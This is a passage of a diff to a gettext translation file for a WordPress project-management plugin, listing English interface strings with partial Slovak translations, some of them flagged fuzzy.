+ +#: texts/success_messages.php:6 +msgid "A project has been created successfully." +msgstr "" + +#: texts/success_messages.php:9 +msgid "A project has been updated successfully." +msgstr "" + +#: texts/success_messages.php:12 +msgid "A project has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:16 +msgid "A category has been created successfully." +msgstr "" + +#: texts/success_messages.php:19 +msgid "A category has been updated successfully." +msgstr "" + +#: texts/success_messages.php:22 +msgid "A category has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:25 +msgid "All the selected categories has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:29 +msgid "Successfully commented." +msgstr "" + +#: texts/success_messages.php:32 +msgid "A comment has been updated successfully." +msgstr "" + +#: texts/success_messages.php:35 +msgid "A comment has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:39 +msgid "A new discussion has been created successfully." +msgstr "" + +#: texts/success_messages.php:42 +msgid "A discussion has been updated successfully." +msgstr "" + +#: texts/success_messages.php:45 +msgid "A discussion has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:49 +msgid "A new milestone has been created successfully." +msgstr "" + +#: texts/success_messages.php:52 +msgid "A milestone has been updated successfully." +msgstr "" + +#: texts/success_messages.php:55 +msgid "A milestone has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:59 +msgid "A new task list has been created successfully." +msgstr "" + +#: texts/success_messages.php:62 +msgid "Task list has been updated successfully." +msgstr "" + +#: texts/success_messages.php:65 +msgid "Task list has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:69 +msgid "A new task has been created successfully." +msgstr "" + +#: texts/success_messages.php:72 +msgid "A Task has been updated successfully." +msgstr "" + +#: texts/success_messages.php:75 +msgid "The task has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:78 +msgid "Settings has been changed successfully." +msgstr "" + +#: texts/success_messages.php:81 +#, fuzzy +#| msgid "No comments found" +msgid "No element found" +msgstr "Neboli nájdené žiadne komentáre" + +#: texts/success_messages.php:84 +#, fuzzy +#| msgid "No Project Found" +msgid "No Project found" +msgstr "Žiadny projekt nebol nájdený" + +#: texts/success_messages.php:87 +msgid "Task marked as done" +msgstr "" + +#: texts/success_messages.php:90 +msgid "Task reopened" +msgstr "" + +#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 +msgid "Every %d Minutes" +msgstr "" + +#: views/assets/js/library.js:887 views/assets/js/library.js:1099 +#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 +#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 +#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 +#: views/assets/js/pm.js:14773 +#: views/assets/src/components/categories/categories.vue:255 +#: views/assets/src/components/project-discussions/mixin.js:507 +#: views/assets/src/components/project-task-lists/list-comments.vue:111 +#: views/assets/src/components/project-task-lists/mixin.js:382 +#: views/assets/src/components/project-task-lists/mixin.js:602 +#: views/assets/src/components/project-task-lists/task-comments.vue:131 +#, fuzzy +#| msgid "Are you sure?" +msgid "Are you sure!" +msgstr "Ste si istí?" + +#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 +#: views/assets/src/helpers/mixin/mixin.js:703 +#: views/assets/vendor/mixin/mixin.js:636 +msgid "Are you sure to delete this project?" +msgstr "Naozaj chcete zmazať tento projekt?" + +#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 +#: views/assets/src/components/common/text-editor.vue:37 +msgid "Write a comment..." +msgstr "" + +#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 +#: views/assets/src/components/project-task-lists/single-task.vue:295 +msgid "Update Description" +msgstr "" + +#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 +#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 +#: views/assets/src/components/project-discussions/comment-form.vue:39 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 +msgid "Add New Comment" +msgstr "" + +#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 +#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 +#: views/assets/src/components/project-discussions/comment-form.vue:40 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 +#: views/emails/html/update-comment.php:12 +msgid "Update Comment" +msgstr "" + +#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 +msgid "textarea" +msgstr "" + +#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 +#: views/assets/js/pm.js:25191 +msgid "form" +msgstr "" + +#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 +#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 +#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 +#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 +#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 +#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 +#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 +#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 +#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 +#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 +#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 +#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 +#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 +#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 +#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 +#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 +#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 +#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 +#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 +#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 +#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 +#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 +#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 +#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 +#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 +#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 +#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 +#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 +#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 +#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 +#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 +#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 +#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 +#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 +#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 +#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 +#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 +msgid "div" +msgstr "" + +#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 +#: views/assets/js/pm.js:23525 +msgid "span" +msgstr "" + +#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 +#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 +#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 +#: views/assets/js/pm.js:33414 +msgid "input" +msgstr "" + +#: views/assets/js/pm.js:2326 +#: views/assets/src/components/project-milestones/mixin.js:316 +#, fuzzy +#| msgid "Are you sure to delete this message?" +msgid "Are you sure! Want to delete this milestones?" +msgstr "Naozaj chcete zmazať túto správu?" + +#: views/assets/js/pm.js:5999 +#: views/assets/src/components/project-discussions/mixin.js:554 +#, fuzzy +#| msgid "Are you sure to delete this project?" +msgid "Are you sure to delete this comment?" +msgstr "Naozaj chcete zmazať tento projekt?" + +#: views/assets/js/pm.js:9674 +#: views/assets/src/components/categories/categories.vue:23 +#: views/assets/src/components/categories/categories.vue:212 +#, fuzzy +#| msgid "Add New Message" +msgid "Add New Category" +msgstr "Vytvor novú správu" + +#: views/assets/js/pm.js:9793 +#: views/assets/src/components/categories/edit-category-form.vue:42 +#, fuzzy +#| msgid "Update Message" +msgid "Update Category" +msgstr "Aktualizuj správu" + +#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 +#: views/assets/src/components/common/header.vue:81 +#: views/assets/src/components/project-lists/project-summary.vue:165 +#, fuzzy +#| msgid "Project Activity" +msgid "Project Actions" +msgstr "Aktivity v projekte" + +#: views/assets/js/pm.js:10314 +#: views/assets/src/components/common/header.vue:110 +msgid "Overview" +msgstr "" + +#: views/assets/js/pm.js:10323 +#: views/assets/src/components/common/header.vue:121 +msgid "Activities" +msgstr "" + +#: views/assets/js/pm.js:10332 +#: views/assets/src/components/common/header.vue:132 +#: views/assets/src/components/project-discussions/discussions.vue:20 +#: views/assets/src/components/project-lists/project-summary.vue:32 +#: views/assets/src/components/project-milestones/completed-milestones.vue:32 +#: views/assets/src/components/project-milestones/late-milestones.vue:39 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 +#: views/assets/src/components/project-overview/overview.vue:31 +msgid "Discussions" +msgstr "" + +#: views/assets/js/pm.js:10341 +#: views/assets/src/components/common/header.vue:143 +#: views/assets/src/components/project-lists/project-summary.vue:48 +#: views/assets/src/components/project-milestones/completed-milestones.vue:23 +#: views/assets/src/components/project-milestones/late-milestones.vue:30 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 +#: views/assets/src/components/project-overview/overview.vue:46 +#: views/assets/src/components/project-task-lists/default-list-page.vue:4 +msgid "Task Lists" +msgstr "Zoznam úloh" + +#: views/assets/js/pm.js:10350 +#: views/assets/src/components/common/header.vue:154 +#: views/assets/src/components/project-lists/project-summary.vue:78 +#: views/assets/src/components/project-milestones/milestones.vue:19 +#: views/assets/src/components/project-overview/overview.vue:97 +msgid "Milestones" +msgstr "Medzníky" + +#: views/assets/js/pm.js:10359 +#: views/assets/src/components/common/header.vue:165 +#: views/assets/src/components/project-lists/project-summary.vue:93 +#: views/assets/src/components/project-overview/overview.vue:82 +msgid "Files" +msgstr "Súbory" + +#: views/assets/js/pm.js:10975 +#: views/assets/src/components/categories/categories.vue:104 +#: views/assets/src/components/common/header.vue:10 +#: views/assets/src/components/project-discussions/discussions.vue:158 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 +msgid "Edit" +msgstr "Uprav" + +#: views/assets/js/pm.js:10976 +#: views/assets/src/components/project-discussions/discussions.vue:159 +msgid "Delete this message" +msgstr "Odstrániť túto správu" + +#: views/assets/js/pm.js:10977 +#: views/assets/src/components/project-discussions/discussions.vue:160 +msgid "Make it private" +msgstr "" + +#: views/assets/js/pm.js:11351 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 +msgid "Enter message title" +msgstr "Zadajte názov správy" + +#: views/assets/js/pm.js:11352 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 +msgid "Add Message" +msgstr "Nová správa" + +#: views/assets/js/pm.js:11353 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 +msgid "Update Message" +msgstr "Aktualizuj správu" + +#: views/assets/js/pm.js:12089 +#: views/assets/src/components/project-lists/header.vue:69 +msgid "Start a new project" +msgstr "Začni nový projekt" + +#: views/assets/js/pm.js:12190 +#: views/assets/src/components/project-lists/project-create-form.vue:87 +msgid "Name of the project" +msgstr "Názov projektu" + +#: views/assets/js/pm.js:12191 +#: views/assets/src/components/project-lists/project-create-form.vue:88 +msgid "Some details about the project (optional)" +msgstr "Ďalšie informácie o projekte (nepovinné)" + +#: views/assets/js/pm.js:12192 +#: views/assets/src/components/project-lists/project-create-form.vue:89 +msgid "Type 3 or more characters to search users..." +msgstr "" + +#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 +#: views/assets/src/components/project-lists/directive.js:75 +#: views/assets/src/components/project-lists/project-create-form.vue:90 +msgid "Create a new user" +msgstr "" + +#: views/assets/js/pm.js:12194 +#: views/assets/src/components/project-lists/project-create-form.vue:91 +msgid "Add New Project" +msgstr "Pridaj nový projekt" + +#: views/assets/js/pm.js:12195 +#: views/assets/src/components/project-lists/project-create-form.vue:92 +#: views/emails/html/update-project.php:9 +msgid "Update Project" +msgstr "Aktualizácia projektu" + +#: views/assets/js/pm.js:12536 +#: views/assets/src/components/project-lists/project-new-user-form.vue:43 +msgid "Create User" +msgstr "" + +#: views/assets/js/pm.js:12853 +#: views/assets/src/components/project-lists/project-view.vue:17 +msgid "List View" +msgstr "" + +#: views/assets/js/pm.js:12854 +#: views/assets/src/components/project-lists/project-view.vue:18 +msgid "Grid View" +msgstr "" + +#: views/assets/js/pm.js:12946 +#: views/assets/src/components/project-milestones/action-milestones.vue:33 +msgid "Edit Milestone" +msgstr "Uprav medzník" + +#: views/assets/js/pm.js:12947 +#: views/assets/src/components/project-milestones/action-milestones.vue:34 +msgid "Delete milestone" +msgstr "Odstrániť medzníka" + +#: views/assets/js/pm.js:12948 +#: views/assets/src/components/project-milestones/action-milestones.vue:35 +msgid "Mark as incomplete" +msgstr "" + +#: views/assets/js/pm.js:12949 +#: views/assets/src/components/project-milestones/action-milestones.vue:36 +msgid "Mark as complete" +msgstr "Označiť dokončené" + +#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 +#: views/assets/src/components/project-task-lists/new-task-form.vue:112 +msgid "Due Date" +msgstr "" + +#: views/assets/js/pm.js:13572 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 +msgid "Milestone name" +msgstr "Názov medzníka" + +#: views/assets/js/pm.js:13573 +#: views/assets/src/components/project-milestones/milestones.vue:24 +#: views/assets/src/components/project-milestones/milestones.vue:52 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 +msgid "Add Milestone" +msgstr "Pridaj medzník" + +#: views/assets/js/pm.js:13574 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 +msgid "Update Milestone" +msgstr "Aktualizuj medzník" + +#: views/assets/js/pm.js:15560 +#: views/assets/src/components/project-task-lists/new-task-form.vue:109 +msgid "Add a new task" +msgstr "" + +#: views/assets/js/pm.js:15561 +#: views/assets/src/components/project-task-lists/new-task-form.vue:110 +msgid "Add extra details about this task (optional)" +msgstr "" + +#: views/assets/js/pm.js:15562 +#: views/assets/src/components/project-task-lists/new-task-form.vue:111 +msgid "Start Date" +msgstr "" + +#: views/assets/js/pm.js:15564 +#: views/assets/src/components/project-task-lists/new-task-form.vue:113 +msgid "Select User" +msgstr "" + +#: views/assets/js/pm.js:15565 +#: views/assets/src/components/project-task-lists/new-task-form.vue:114 +msgid "Update Task" +msgstr "" + +#: views/assets/js/pm.js:15566 +#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 +#: views/assets/src/components/project-task-lists/new-task-form.vue:115 +msgid "Add Task" +msgstr "Pridaj úlohu" + +#: views/assets/js/pm.js:15567 +#: views/assets/src/components/project-task-lists/new-task-form.vue:116 +msgid "Estimated hour to complete the task" +msgstr "" + +#: views/assets/js/pm.js:15928 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 +msgid "Task list name" +msgstr "" + +#: views/assets/js/pm.js:15929 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 +msgid "Task list details" +msgstr "" + +#: views/assets/js/pm.js:15930 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 +msgid "Update List" +msgstr "Aktualizovať zoznam" + +#: views/assets/js/pm.js:15931 +#: views/assets/src/components/project-discussions/discussions.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 +msgid "Add List" +msgstr "Pridaj zoznam" + +#: views/assets/js/pm.js:16368 +#: views/assets/src/components/project-task-lists/single-list.vue:121 +#, fuzzy +#| msgid "Delete milestone" +msgid "Delete List" +msgstr "Odstrániť medzníka" + +#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 +#: views/assets/src/components/settings/email.vue:82 +#: views/assets/src/components/settings/general.vue:116 +msgid "Save Changes" +msgstr "Uložiť zmeny" + +#: views/assets/js/pm.js:18015 +#: views/assets/src/components/project-lists/directive.js:74 +msgid "No users found." +msgstr "" + +#: views/assets/js/pm.js:18540 +#: views/assets/src/components/project-overview/directive.js:9 +msgid "Activity" +msgstr "Aktivity" + +#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 +#: views/assets/js/pm.js:31861 +msgid "ul" +msgstr "" + +#: views/assets/js/pm.js:26597 +msgid "a" +msgstr "" + +#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 +msgid "router-view" +msgstr "" + +#: views/assets/js/pm.js:33541 +msgid "svg" +msgstr "" + +#: views/assets/js/pm.js:33711 +msgid "vue-content-loading" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:27 +#: views/assets/src/components/categories/categories.vue:74 +#: views/assets/src/components/categories/categories.vue:130 +#: views/assets/src/components/categories/edit-category-form.vue:8 +msgid "Name" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:33 +#: views/assets/src/components/categories/categories.vue:79 +#: views/assets/src/components/categories/categories.vue:136 +#: views/assets/src/components/categories/edit-category-form.vue:14 +msgid "Description" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:54 +msgid "Select bulk action" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:56 +#: views/assets/src/components/categories/categories.vue:155 +msgid "Bulk Actions" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:57 +#: views/assets/src/components/categories/categories.vue:156 +#: views/assets/src/components/common/header.vue:29 +#: views/assets/src/components/project-lists/project-create-form.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:134 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 +msgid "Delete" +msgstr "Odstráň" + +#: views/assets/src/components/categories/categories.vue:69 +#: views/assets/src/components/common/notify-user.vue:7 +msgid "Select all" +msgstr "Vybrať všetko" + +#: views/assets/src/components/categories/edit-category-form.vue:5 +msgid "Quick Edit" +msgstr "" + +#: views/assets/src/components/categories/edit-category-form.vue:23 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 +#: views/assets/src/components/project-lists/project-create-form.vue:57 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 +#: views/assets/src/components/project-task-lists/new-task-form.vue:51 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 +msgid "Cancel" +msgstr "Zruš" + +#: views/assets/src/components/common/color-picker.vue:9 +#, fuzzy +#| msgid "Select all" +msgid "Select Color" +msgstr "Vybrať všetko" + +#: views/assets/src/components/common/color-picker.vue:25 +msgid "Clear" +msgstr "" + +#: views/assets/src/components/common/color-picker.vue:31 +msgid "Close" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:10 +msgid "Delete File" +msgstr "Vymaž súbor" + +#: views/assets/src/components/common/file-uploader.vue:16 +msgid "To attach" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:17 +msgid "select files" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:18 +msgid "from your computer." +msgstr "" + +#: views/assets/src/components/common/header.vue:17 +#: views/assets/src/components/project-lists/project-header-menu.vue:13 +#: views/assets/src/components/project-task-lists/lists.vue:92 +msgid "Completed" +msgstr "Dokončené" + +#: views/assets/src/components/common/header.vue:18 +#: views/assets/src/components/project-task-lists/lists.vue:102 +msgid "Incomplete" +msgstr "" + +#: views/assets/src/components/common/header.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:141 +msgid "Complete" +msgstr "" + +#: views/assets/src/components/common/header.vue:39 +#: views/assets/src/components/project-lists/project-summary.vue:144 +msgid "Restore" +msgstr "" + +#: views/assets/src/components/common/notify-user.vue:4 +msgid "Notify users" +msgstr "Informujte užívateľov" + +#: views/assets/src/components/project-activities/activities.vue:46 +#, fuzzy +#| msgid "Load More..." +msgid "Load More ..." +msgstr "Načítať ďalšie ..." + +#: views/assets/src/components/project-activities/activities.vue:48 +msgid "No activity fount" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:23 +msgid "" +"Use our built in discussion panel to create an open discussion, a group " +"discussion or a private conversation. Note that the Admin can always " +"moderate these discussions." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:27 +#: views/assets/src/components/project-discussions/discussions.vue:54 +msgid "Add New Discussion" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:32 +#: views/assets/src/components/project-discussions/discussions.vue:59 +msgid "Create a new message" +msgstr "Vytvorte novú správu" + +#: views/assets/src/components/project-discussions/discussions.vue:38 +msgid "When to use Discussions?" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:41 +msgid "To discuss a work matter privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:42 +msgid "To exchange files privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:43 +msgid "To discuss in a group." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:44 +msgid "To create an open discussion visible to all." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:68 +msgid "Discussion List" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:84 +#: views/assets/src/components/project-discussions/individual-discussions.vue:32 +#: views/assets/src/components/project-task-lists/list-comments.vue:15 +#: views/assets/src/components/project-task-lists/task-comments.vue:15 +#, fuzzy +#| msgid "Body" +msgid "By" +msgstr "Správa" + +#: views/assets/src/components/project-discussions/discussions.vue:88 +#: views/assets/src/components/project-discussions/individual-discussions.vue:35 +#: views/assets/src/components/project-discussions/individual-discussions.vue:77 +#: views/assets/src/components/project-task-lists/list-comments.vue:22 +#: views/assets/src/components/project-task-lists/task-comments.vue:21 +msgid "on" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:110 +#: views/assets/src/components/project-discussions/individual-discussions.vue:61 +#: views/assets/src/components/project-lists/project-summary.vue:104 +#: views/assets/src/components/project-overview/overview.vue:68 +#: views/assets/src/components/project-task-lists/lists.vue:111 +#: views/assets/src/components/project-task-lists/single-task.vue:174 +msgid "Comments" +msgstr "" + +#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 +msgid "- Milestone -" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:36 +msgid "Attached to" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:38 +msgid "by" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:40 +msgid "admin" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:62 +#, fuzzy +#| msgid "No users found" +msgid "No result found!" +msgstr "Noboli nájdený žiadný užívatelia" + +#: views/assets/src/components/project-lists/project-create-form.vue:13 +#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 +msgid "- Project Category -" +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:50 +msgid "Notify Co-Workers" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:6 +msgid "Active" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:20 +msgid "All" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 +#: views/emails/html/new-project.php:10 +msgid "New Project" +msgstr "Nový projekt" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:7 +msgid "Username" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:12 +msgid "First Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:17 +msgid "Last Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:22 +msgid "Email" +msgstr "" + +#: views/assets/src/components/project-lists/project-summary.vue:4 +msgid "No projects found." +msgstr "" + +#: views/assets/src/components/project-lists/project-summary.vue:63 +#: views/assets/src/components/project-overview/overview.vue:57 +msgid "Tasks" +msgstr "Úlohy" + +#: views/assets/src/components/project-milestones/completed-milestones.vue:3 +msgid "Completed Milestones" +msgstr "Dokončené medzníky" + +#: views/assets/src/components/project-milestones/completed-milestones.vue:43 +msgid "Completed on:" +msgstr "Dokončené:" + +#: views/assets/src/components/project-milestones/late-milestones.vue:3 +msgid "Late Milestones" +msgstr "Neskoré medzníky" + +#: views/assets/src/components/project-milestones/milestones.vue:21 +msgid "" +"Create a lifecycle of your projects using milestones. Time mark the " +"different stages of your project with multiple milestones and also it will " +"help the assigned people to aim for a date to complete the project according " +"to those steps." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:37 +msgid "When to use Milestones?" +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:40 +msgid "To set a target date for the project overall." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:41 +msgid "To divide a project into several development-time phases." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:42 +msgid "To coordinate projects and assigned persons timely." +msgstr "" + +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 +msgid "Upcoming Milestones" +msgstr "Nadchádzajúce medzníky" + +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 +#, fuzzy +#| msgid "left" +msgid "left -" +msgstr "vľavo" + +#: views/assets/src/components/project-overview/overview.vue:107 +msgid "Last 30 days" +msgstr "" + +#: views/assets/src/components/project-overview/overview.vue:116 +msgid "Users" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:6 +msgid "" +"You can list all your Tasks in a single discussion using a Task list. Use " +"these lists to divide a project into several sectors, assign co-workers and " +"check progress." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:14 +msgid "When to use Task Lists?" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:17 +msgid "To partition a project internals." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:18 +msgid "To mark milestone points." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:19 +msgid "To assign people to tasks." +msgstr "" + +#: views/assets/src/components/project-task-lists/list-comments.vue:4 +msgid "Discuss this task list" +msgstr "" + +#: views/assets/src/components/project-task-lists/list-tasks.vue:9 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 +msgid "No tasks found." +msgstr "" + +#: views/assets/src/components/project-task-lists/lists.vue:77 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 +msgid "More Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 +msgid "New Task List" +msgstr "Nový zoznam úloh" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 +msgid "Incomplete Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 +msgid "Completed Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list.vue:29 +msgid "Back to Task Lists" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:203 +msgid "Shift+Enter for line break" +msgstr "" + +#: views/assets/src/components/project-task-lists/task-comments.vue:4 +msgid "Discuss this task" +msgstr "" + +#: views/assets/src/components/settings/email.vue:7 +#: views/assets/src/components/settings/header.vue:9 +msgid "E-Mail Settings" +msgstr "Nadstavenia emailu" + +#: views/assets/src/components/settings/email.vue:12 +msgid "From Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:20 +msgid "Links in the Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:25 +msgid "Link to Backend" +msgstr "" + +#: views/assets/src/components/settings/email.vue:28 +msgid "" +"Select where do you want to take the user. Notification emails contain links." +msgstr "" + +#: views/assets/src/components/settings/email.vue:35 +msgid "E-Mail Type" +msgstr "Typ emailu" + +#: views/assets/src/components/settings/email.vue:39 +msgid "HTML Mail" +msgstr "HTML email" + +#: views/assets/src/components/settings/email.vue:40 +msgid "Plain Text" +msgstr "Texotový" + +#: views/assets/src/components/settings/email.vue:46 +msgid "Send email via Bcc" +msgstr "" + +#: views/assets/src/components/settings/email.vue:52 +msgid "Enable Bcc" +msgstr "" + +#: views/assets/src/components/settings/general.vue:7 +#: views/assets/src/components/settings/header.vue:5 +msgid "General Settings" +msgstr "" + +#: views/assets/src/components/settings/general.vue:12 +msgid "File Upload Limit" +msgstr "Limit pre upload súborov" + +#: views/assets/src/components/settings/general.vue:16 +msgid "File Size in Megabytes. e.g: 2" +msgstr "" + +#: views/assets/src/components/settings/general.vue:21 +msgid "Projects Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:25 +msgid "-1 for unlimited" +msgstr "" + +#: views/assets/src/components/settings/general.vue:31 +msgid "Task Lists Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:39 +msgid "Incomplete Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:47 +msgid "Completed Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:55 +msgid "Project Managing Capability" +msgstr "" + +#: views/assets/src/components/settings/general.vue:65 +#: views/assets/src/components/settings/general.vue:81 +msgid "Select the user roles who can see and manage all projects." +msgstr "" + +#: views/assets/src/components/settings/general.vue:71 +msgid "Project Creation Capability" +msgstr "" + +#: views/emails/html/complete-task.php:12 +msgid "Task status has been changed" +msgstr "" + +#: views/emails/html/complete-task.php:25 +msgid "Changed by" +msgstr "" + +#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 +#: views/emails/html/update-task.php:24 +#, fuzzy +#| msgid "Due date" +msgid "due date" +msgstr "Termín na dokončenie" + +#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 +#: views/emails/html/update-task.php:29 +msgid "start at" +msgstr "" + +#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 +#: views/emails/html/update-task.php:46 +msgid "View Task" +msgstr "Zobraz úlohu" + +#: views/emails/html/new-comment.php:12 +msgid "New Comment" +msgstr "" + +#: 